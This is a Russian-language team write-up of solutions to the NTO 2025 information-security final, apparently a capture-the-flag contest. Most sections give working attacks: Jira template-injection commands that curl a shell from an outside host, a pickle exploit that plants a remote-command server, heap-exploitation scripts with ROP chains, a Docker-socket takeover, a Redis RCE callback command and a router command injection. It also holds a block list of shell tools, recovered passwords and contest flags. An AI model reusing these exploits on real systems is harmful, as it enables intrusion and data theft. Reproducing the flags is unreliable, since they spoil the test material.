ФИНАЛ ИБ НТО 2025

v3rb0s1ty

Касса waf

Пишем правила для modsecurity:

```
SecRule REQUEST_BODY "@rx (?:<|>)" "id:123456, \
        phase:2, \
        t:none, \
        deny, \
        msg:'error', \
        logdata:'Обнаружено: %{MATCHED_VAR}', \
        severity:CRITICAL"

SecRule REQUEST_BODY "@pmFromFile /root/blacklist.txt" "id:123457, \
        phase:2, \
        t:lowercase, \
        deny, \
        msg:'error', \
        logdata:'Обнаружено: %{MATCHED_VAR}', \
        severity:WARNING"
```

blacklist.txt: system postix subprocess echo base64 /bin/bash bash sh netcat /bin/sh python pwd whoami

Инфра - Jira

Находим уязвимость сервиса Atlassian Jira 8.1
https://github.com/vulhub/vulhub/blob/master/jira/CVE-2019-11581/README.md
Загружаем на сервер шелл через curl
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('curl http://10.5.5.132:41203/shell -o shell').toString()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('bash shell'').toString()
daemon@67f9880e3d47:/var/atlassian/application-data/jira$ cat user_flag.txt
Флаг: **nto{j1rn4y4_uy4zv1m057}**

WEB - Касса

Директория /check-ticket уязвима к вредоносной сериализации через библиотекубиблиотеку pickle (ticket = pickle.loads(data))
Пишем сплоит, отправляем файл и получаем флаг :

```
import pickle
import sys
class PickleRCE(object):
        def __reduce__(self):
        import os
```

return (os.system,(command,))
command = 'echo
ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sslHJlcXVlc3QsIGpzb25pZnkKaW1wb3J0IHN1YnB
yb2Nlc3MKCmFwcCA9IEZsYXNrKF9fbmFtZV9fKQoKQGFwcC5yb3V0ZSgnL2V4ZWN1dG
UnLCBtZXRob2RzPVsnUE9TVCddKQpkZWYgZXhlY3V0ZV9jb21tYW5kKCk6CiAgICBkYX
RhID0gcmVxdWVzdC5qc29uCiAgICBjb21tYW5kID0gZGF0YS5nZXQoJ2NvbW1hbmQnKQ
oKICAgIGlmIG5vdCBjb21tYW5kOgogICAgICAgIHJldHVybiBqc29uaWZ5KHsnZXJyb3InOiA
nTm8gY29tbWFuZCBwcm92aWRlZCd9KSwgNDAwCiAgICB0cnk6CiAgICAgICAgcmVzdWx
0ID0gc3VicHJvY2Vzcy5ydW4oY29tbWFuZCwgc2hlbGw9VHJ1ZSwgY2FwdHVyZV9vdXRw
dXQ9VHJ1ZSwgdGV4dD1UcnVlKQogICAgICAgIHJldHVybiBqc29uaWZ5KHsKICAgICAgIC
AgICAgJ3N0ZG91dCc6IHJlc3VsdC5zdGRvdXQsCiAgICAgICAgICAgICdzdGRlcnInOiByZX
N1bHQuc3RkZXJyLAogICAgICAgICAgICAncmV0dXJuY29kZSc6IHJlc3VsdC5yZXR1cm5jb
2RlCiAgICAgICAgfSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICByZXR
1cm4ganNvbmlmeSh7J2Vycm9yJzogc3RyKGUpfSksIDUwMAppZiBfX25hbWVfXyA9PSAnX
19tYWluX18nOgogICAgYXBwLnJ1bignMC4wLjAuMCcscG9ydD01MDAwLGRlYnVnPVRyd
WUpCgo= | base64 -d > run.py'
payload = pickle.dumps(PickleRCE())
f=open('check.pkl','wb').write(payload)

$> curl -X POST http://10.10.11.51:5024/execute -H "Content-Type: application/json" -d '{"command": "cat env"}'\

PWN - временные сообщения

видим бинарь с возможностью читать и создавать файлы, для файла предусмотрено 256 байт, если создать файл на 256 байт, то первый байт следующего объекта в bss(пароль) перезапишется на нулевой, пароль сравнивается через strcmp которые считывает до символа конца строки, чем и является нулевой байт, поэтому достаточно заслать нулевой байт в пароль, проверка пройдёт и удастся прочитать 00000000 файл и получить флаг

Флаг: **nto{sup3r_s3cr3t_c0nf1d3ntial_fl4g}**

```
from pwn import *

host = '10.10.11.101'

port = 9001

io = remote(host, port)

io.sendlineafter(b'>> ', b'2')
```

```
io.sendafter(b': ',b'a'*256)


io.send(b'\n')


io.sendlineafter(b'>> ', b'1')


io.sendlineafter(b': ', b'00000000')


io.send(b'\x00'*2+b'\n')


io.interactive()
```

PWN - Кадры

выполняем pwn checksec ./jiro ; из интересного, включен pie и нет канарейки

вместе с основным бинарником дали libc.so.6 и ld-linux-x86-64.so.2: патчим через patchelf –set-interpreter ld-linux-x86-64.so.2. ./jiro;patchelf –set-rpath . ./jiro

Лик кучи
в функции удаления таска, при определённых условиях возможен use-after-free: если reward больше чем 100000 пользователь автор удаляется, причём поинтер не зануляется
первым делом ликнем адрес кучи: создаём пользователя, создаём для него таск, делаем reward равным 100001 , удаляем таск. Читаем удаленного пользователя

Лик libc: изначально в tcache fd указывает на следующий чанк в куче, поэтому создадим пользователя, введём в name ‘a’*1080, хоть изначально для него создаётся чанк на 0x20 байт, getline будет работать как realloc и увеличит его до нужного размера(чанк попадёт в unsorted bin и будет указывать на libc), через вышеописанный uaf читаем содержимое освобождённого большого чанка, получаем адрес main_arena

для получения шелла развернём rop цепочку на стеке, для этого, используя uaf сделаем так, чтобы главный чанк пользователя(в котором содержатся поинтер на name) указывал на другой главный чанк, это можно сделать так: создаём 2 пользователей и к ним по таску,причём важно, чтобы у пользователя чанк name был другого размера, освобождаем чанки, создаём новые таски, после чего видим, что в tcache будут два чанка, каждый из которых является главным и содержит адреса), в

итоге, создав нового пользователя добьёмся того, что чанк name будет совпадать с главным чанком другого пользователя это даст нам читать и писать данные по любому адресу. так как адрес libc у нас есть, можем изменить адрес name на libc environ, в котором увидим адрес стека.
повторяем это действие ещё раз, высчитываем из адреса стека из environ адрес возврата и на нём разворачиваем rop цепочку вызова сисколла execve с командой /bin/sh после чего получаем шелл и читаем флаг.

Флаг: **nto{th1s_1s_f1n3.}**

эксплоит:

```
from pwn import *

exe = context.binary = ELF(args.EXE or './jiro')

host = args.HOST or '10.10.11.32'
port = int(args.PORT or 9000)

if args.LOCAL_LIBC:
    libc = exe.libc
elif args.LOCAL:
    library_path = libcdb.download_libraries('libc.so.6')
    if library_path:
        exe = context.binary = ELF.patch_custom_libraries(exe.path,
library_path)
        libc = exe.libc
    else:
        libc = ELF('libc.so.6')
else:
    libc = ELF('libc.so.6')

def start_local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a,
**kw)
    elif args.EDB:
        return process(['edb','--run', exe.path] + argv,*a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
```

```python
    return io

def start(argv=[], *a, **kw):
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)


gdbscript = '''
tbreak main
continue
'''.format(**locals())


io = start()

def create_user(name, emp):
    io.sendlineafter(b'>> ', b'1')
    io.sendlineafter(b'name: ', name)
    io.sendlineafter(b'>> ', emp)
    io.recvuntil(b'ID: ')
    return io.recvline().strip(b'\n')

def edit_user(id, name, emp):
    io.sendlineafter(b'>> ', b'2')
    io.sendlineafter(b'id: ', id)
    io.sendlineafter(b'name: ', name)
    io.sendlineafter(b'>> ', emp)


def delete_user(id):
    io.sendlineafter(b'>> ', b'3')
    io.sendlineafter(b'ID: ', id)

def create_task(id, reward,name):
    io.sendlineafter(b'>> ', b'4')
    io.sendlineafter(b'ID: ', id)
    io.sendlineafter(b'reward: ',str(reward).encode())
    io.sendlineafter(b'name: ',name)

def delete_task(id):
    io.sendlineafter(b'>> ', b'5')
```

```
    io.sendlineafter(b'id: ', id)

def show_user(id):
    io.sendlineafter(b'>> ', b'6')
    io.sendlineafter(b'id: ', id)
    io.recvuntil(b'[ EMPLOYEE CARD ]\n')
    return io.recvuntil(b'1. Hire', drop=True)
def show_task(id):
    io.sendlineafter(b'>> ', b'7')
    io.sendlineafter(b'id: ', id)
    io.recvuntil(b'[ TASK CARD ]\n')
    return io.recvuntil(b'1. Hire', drop=True)



id = create_user(b'a'*0x880, b'1').decode()
create_task(id , 100001, b'123')
id_1 = create_user(b'a'*1000, b'1').decode()
delete_task(b'1')
create_user(b'aaaa', b'1').decode()
print(id)
print(id_1)

ll = show_user(id.encode())
print(ll)
heap= int(ll.split(b'Zarabotal: ')[-1].split(b'\n\n')[0].decode())
libc= u64(ll.split(b'Name: ')[-1].split(b'\nID')[0].ljust(8,b'\x00')) -
0x1dab20
print('heap',   hex(heap))
print('libc',hex(libc))



gl = ELF('./libc.so.6')

print('!', hex(libc+0x0000000000042667))
show_user(b'1')
print('env' , hex(gl.sym.environ+libc))



id_p = []
id_p.append(create_user(b'4', b'1'))
```

```
id_p.append(create_user(b'5', b'1'))
id_p.append(create_user(b'6'*0x31, b'1'))
id_p.append(create_user(b'7'*0x31, b'1'))

create_task(id_p[2] , 100001, b'123')
create_task(id_p[3] , 100001, b'123')

delete_task(b'1')

create_task(id_p[0] , 100001, b'123')

delete_task(b'2')

create_task(id_p[1] , 100001, b'123')
# delete_user(id_p[0])
# create_task(id_p[2] , 100001, b'123')

id_p.append(create_user(b'f'*0x18+p64(gl.sym.environ+libc)[:6], b'1'))
stack = u64(show_user(id_p[2]).split(b'Name:
')[-1].split(b'\nID')[0].ljust(8,b'\x00')) - 0x130
print('stack', hex(stack))
edit_user(id_p[2], b'123456', b'1')
print(id_p[2])
print(show_user(id_p[2]))

# edit_user(id_p[2], b'1' , b'1')
# id_p.append(create_user(b'6666', b'1'))
# id_p.append(create_user(b'7777', b'1'))

delete_task(b'2')
delete_task(b'1')



#-------------------------
id_p = []
id_p.append(create_user(b'4', b'1'))
id_p.append(create_user(b'5', b'1'))
id_p.append(create_user(b'6'*0x31, b'1'))
id_p.append(create_user(b'7'*0x31, b'1'))

create_task(id_p[2] , 100001, b'123')
create_task(id_p[3] , 100001, b'123')
```

```
delete_task(b'1')

create_task(id_p[0] , 100001, b'123')

delete_task(b'2')

create_task(id_p[1] , 100001, b'123')
# delete_user(id_p[0])
# create_task(id_p[2] , 100001, b'123')
gad = [0x4fcb3, 0xd57ab, 0x4fcac]
id_p.append(create_user(b'f'*0x18+p64(stack)[:6], b'1'))
print(show_user(id_p[2]))
print(id_p[2])
print(hex((libc+0x4fcac)))
print(hex((libc+0x4fcac)))
print(hex((libc+0x4fcac)))

p = p64(libc+0x0000000000042667)
p += p64(0x3b)
p += p64(libc+0x000000000002a215)
p += p64(libc + 0x19ae41)
p += p64(libc + 0x000000000002bb29)
p += p64(0)
p += p64(libc + 0x0000000000103c9d)
p+=p64(0)
p+=p64(libc+0x00000000000284a3)
# edit_user(id_p[2],p64(libc+0x000000000002868c)+
p64(libc+0x000000000002a215)+p64(libc+0x19ae41)+p64(libc+gl.sym.system)
, b'1')
edit_user(id_p[2],p, b'1')

io.interactive()
```

Инфра - Сервис печати 1

На порте 631 находится уязвимая версия OpenPrinting CUPS 2.4.7.

Используя уязвимость CVE-2024-47177 (https://github.com/vulhub/vulhub/blob/master/cups-browsed/CVE-2024-47177/README.md) получаем rce и читаем флаг.

Инфра - NAS 1

Сначала сделали port knocking через python:

Далее видим на 80м порту IP есть панель openmediavault. Входим по дефолтным кредам admin:openmediavault: Получаем флаг через SMB: FLAG.

Инфра - NAS 2

На 80м порту IP есть панель openmediavault. Для неё была найдена RCE: unix/webapp/openmediavault_rpc_rce. Подключаемся через metasploit как root. Флаг лежит в директории /root/ : **nto{4_l177l3_ch33ky_cv3}**.

Кроличий горшок 2.0

На IP 10.10.1.172 открыт порт 80. Во время фаззинга было найдено странное поведение ручки /control на POST запрос. Погуглив, находим выступление Тишиной Елизаветы о пентесте цветочных горшков: https://www.youtube.com/watch?v=eJB-2FgLYNc Так как мы находимся в одной сети с горшком, мы можем читать участок памяти через POST запрос к ручке /control с json {“cmd”:1, “param”:1}, где param - индекс блока памяти.

Если мы можем читать по индексу, то можем сдампить всю память. Был написан скрипт (прикрепил).

В дампе был обнаружен флаг: **nto{p07_wh475_1n_ur_h34d}**

```
import struct
import requests
import time
import sys
```

```
start_param, end_param, host = int(sys.argv[1]), int(sys.argv[2]),
sys.argv[3]
def add_to_file(file):
   packers = {
       int: lambda v: struct.pack("<i", v),
       float: lambda v: struct.pack("<f", v),
       type(None): lambda v: struct.pack("<i", 0)}
   for i in range(start_param, end_param):
       try:
           print(f"Dumping index -  {i}")
           data = requests.post("http://10.10.1.172/control",
json={"cmd": 1, "param": i}, ).json()["value"]
           packer = packers.get(type(data), None)
           if packer:
               file.write(packer(data))
           file.flush()
           time.sleep(0.1)
       except:
           pass
with open("memory", "ab") as lol:
   add_to_file(lol)
```

Кроличья нора

С помощью тулзы mtpass восстанавливаем пароли пользователей из дампа памяти.

15 | user | z[a/#4V]jHDF,"xd:q$u | |

16 | user2 | s*3Z:@vaM9m=x<"- | |

17 | user3 | rjw7sJ<%nHvT5[Pg | |

18 | user4 | n&@D>3h?_8%,FC`B | |

19 | user5 | V;xfQt:39.m8(h`~ | |

20 | admin | 9Nbn5dST | |

Совершив вход под пользователем user, находим флаг:

NTO(2H=nS@fsz=Mxj&-{b%3TY]tQNLny}W+)

Контейнер

В условии дана подсеть 10.10.13.0/24. Просканировав её с помощью nmap обнаруживаем хост с открытым портом 2375 и айпи адресом 10.10.13.94 На данном порту наружу развёрнут docker-socket. Можем взаимодействовать с ним используя docker-cli и переменную окружения DOCKER_HOST.

```
DOCKER_HOST=tcp://10.10.13.94:2375 docker ps

DOCKER_HOST=tcp://10.10.13.94:2375 docker run -it --volume /:/mnt nginx
bash
```

Посредством создания такого docker контейнера монтируем файловую систему хоста в /mnt директорию контейнера, и находим флаг в /mnt/home/user.
nto{Ne_Zabyavay_Zakryavat_Socket_2375}

Confluence 1

Определив версию cofluence можем найти на неё публичные cve. Конкретно наша версия уязвима к CVE-2023-22527, приводящей в удалённому выполнения кода.
https://www.exploit-db.com/exploits/51904
Воспользовавшись exploit-ом получаем rce и забираем флаг из домашней директории пользователя confluence. nto{c0nflu3nc3_15_und3r_4774ck}

Поезд

После сканирования сети данной в условии (10.10.14.0/24) обнаруживаем единственный живой хост. Это - 10.10.14.2. Путём сканирования nmap выясняем, что данный нам в условии контроллер Siemens S7-1200 находится на порту 120. Выясняем, что на данный контроллер есть публичная уязвимость (CVE-2022-38465), но она только позволяет менять состояние PLC на start/stop. Ищем дальше. Выясняем, что есть Python библиотека snap 7 используемая для работы с данными контроллерами. Пробуем используя её считать данные с контроллера:

```
import snap7

plc = snap7.client.Client()
plc.connect('10.10.14.2', 0, 1)

data = plc.db_read(1, 0, 256)
length = data[0]
string_bytes = data[1:length + 1]
```

print(string_bytes)

Успех. Исходя из этого можно сделать вывод, что во-первых на контроллере не настроено tls шифрование, и во-вторых - на данном контроллере не настроена аутентификация. Остаётся тем не менее один нюанс следующий из условия - принимать и обрабатывать соединения он может только тогда, когда поезд находится на станции.

Теперь можем написать полноценный сплойт, который будет считывать все данные, и записывать произвольную строку.

Непрошеные гости! - 1

1. Host Header Injection: в конфигурации nginx.conf return 301 https://$host$request_uri; здесь злоумышленник может внедрить в заголовок Host свои данные, что может привести к перенаправлению на сайт злоумышленника
2. SQL injection: в файле /app/mysite/views.py небезопасно передаются параметры к sql запросу ‘’’query = f”SELECT * FROM myapp_user WHERE login = ‘{username}’ AND password = ‘{password}’”“’’ злоумышленник может внедрить свой код, получив доступ к аккаунтам других пользователей. пример: admin’ or 1=1; – - Похожая уязвимость присутствует в функции mark_and_view : query = f”””INSERT INTO myapp_mark (mark, date, user_id, subject_id) VALUES ({mark_value}, ‘{date}’, (SELECT id FROM myapp_user WHERE login = ‘{student_login}’), (SELECT id FROM myapp_subject WHERE name = ‘{sub_name}’)) “””

и в функции search query1 = f”SELECT * FROM myapp_user WHERE surname LIKE ‘{query}’ OR name LIKE ‘{query}’”

также проверка на user.role == ‘STU’: не имеет смысла, поскольку при регистрации злоумышленник может изменить параметр role и пользоваться функционалом любого типа пользователей, например ADM

3. в security.py проверяется количество попыток ввода, но число максимальных попыток огромное ACCESS_TOKEN_EXPIRE_MINUTES = 10000000000000000000 MAX_LOGIN_ATTEMPTS = 10000000000000000000 также блокировка бесполезна, поскольку 0*60=0 BLOCK_TIME_MINUTES = 0

4. redis без пароля и доступен для внешних пользователей и postgresql дефолтные креды и доступен наружу

5. в cors.conf включен Access-Control-Allow-Origin: * что позволяет осуществить csrf

6. статичные ключи .например в security.py

7. уязвимый postgres:16.6-alpine3.21 в docker hub на этот контейнер обозначено множество cve

8. уязвимые пакеты: ecdsa 0.19.0 , python3-setup 65.5.0
9. Пароли хранятся plaintext-ом в бд

Непрошеные гости! - 2

патч sql injection, нужно параметризировать запросы: query1 = “SELECT * FROM myapp_user WHERE surname LIKE %s OR name LIKE %s” cursor.execute(query1, (query, query)) results = cursor.fetchall()

Host Header Injection: нужно не доверять пользователю: использовать $server_name или любое зарардкоженное име сервера

проверять параметр role, если подразумевается ограничения. например, сделать white list возможных ролей, который не включает ADM

изменить переменные ACCESS_TOKEN_EXPIRE_MINUTES, MAX_LOGIN_ATTEMPTS, BLOCK_TIME_MINUTES на разумные значения, например токен может храниться 1 час, максимальное колво ошибок 10, премя блокировки 10 минут

в docker-compose убрать внешний доступ к необязательным для пользователей сервисам postgresql и redis. также поставить надёжные пароли

в cors.conf ограничить Access-Control-Allow-Origin на доступ только от доверенных сайтов

ключи нужно держать в переменных окружения

password=hashlib.sha256(cd[‘password’].encode()).hexdigest() пароли нужно хранить в базе данных в хэшированном виде, например sha256

обновить все библиотеки и контейнеры до новейших версий

убрать заголовки X-Forwarded-For и X-Real-IP или не доверять им

Кроличий горшок 2.0

На IP 10.10.1.172 открыт порт 80. Во время фаззинга было найдено странное поведение ручки /control на POST запрос. Погуглив, находим выступление Тишиной Елизаветы о пентесте цветочных горшков: [https://www.youtube.com/watch?v=eJB-2FgLYNc](https://www.youtube.com/watch?v=eJB-2

FgLYNc) Так как мы нахоимся в одной сети с горшком, мы можем читать участок памяти через POST запрос к ручке /control с json {“cmd”:1, “param”:1}, где param - индекс блока памяти.

Если мы можем читать по индексу, то можем сдампить всю память. Был написан скрипт (прикрепил).

В дампе был обнаружен флаг: **nto{p07_wh475_1n_ur_h34d}**

WIFI-Роутер

Входим в панель роутера используя флаг **nto{p07_wh475_1n_ur_h34d}** как пароль и `admin` как пароль. Получаем флаг из настроек ntp: **nto{p455_r3u53_15_d4n63r0u5}**. Находим command exection в функции ping: `8.8.8.8; ls`. Получаем флаг: **nto{c0n6r475_y0uv3_ju57_f0und_z3r0}**

Враг врага 2 - 1

Как был получен первичный доступ к системе? (2 балла) В папке есть дамп трафика машины. Смотрим http трафик, в котором атакующий обращается к ручке /console (flask). Используя pin 123-45-789, а также SECRET `yqqPfQiFZmXsmnZQYMPF` атакующий получил доступ к flask панели.

Враг врага 2 - 2

С IP 81.177.221.242 и 10.10.10.3.**Враг врага 2 - 3**

Упаковщик upx. Это можно узнать выполнив команду: `strings app`

$Info: This file is packed with the t

Z executable packer http://upx.sf.net $

$Id: t

Z 4.24 Copyright (C) 1996-2024 the t

Z Team. All Rights Reserved. $

Враг врага 2 - 3

Злоумышленники перетёрли сигнатуры upx и заменили их на случайные байты.

Враг врага 2 - 4

Вредоносная нагрузка представляет из себя вирус шифровальщик. Он создаёт .enc файлы. Изучив файловую систему хоста можем обнаружить их, и заметить, что все они имеют следующее время создания:

```
2025-01-22 22:35:52
```

Следовательно, вредоносная нагрузка была запущена в это время.

MISC - Принтер 1

На первом IP 10.10.1.72 а 80м порту есть веб сервис kyocera. Для неё была найдена CVE-2022-1026, которая позволяет получать креды пользователей. Были получены креды ftpuser : r34llyh4rdp455, которые подходят к FTP 10.10.1.110. Подключаемся и получаем флаг: **nto{f7p_4cc355_fr0m_ky0c3r4}**

MISC - Принтер 2

После получения кредов из принтер 1 и подключения по FTP к 10.10.1.110 выкачиваем redis.conf. В нем лежит пароль NTO_r3d15_p455w0rd. Для Redis 4.x и 5.x есть RCE.

Получаем шелл: *python redis-rce.py -r 10.10.1.110 -p 6379 -L 10.5.5.175 -f ./Redis-RCE/exp_lin.so -a NTO_r3d15_p455w0rd -P 41166.* По пути /root/reallylongfilename4NTOflag читаем флаг: **nto{d0n7_0v3r3xp0s3_ur_r3d15}**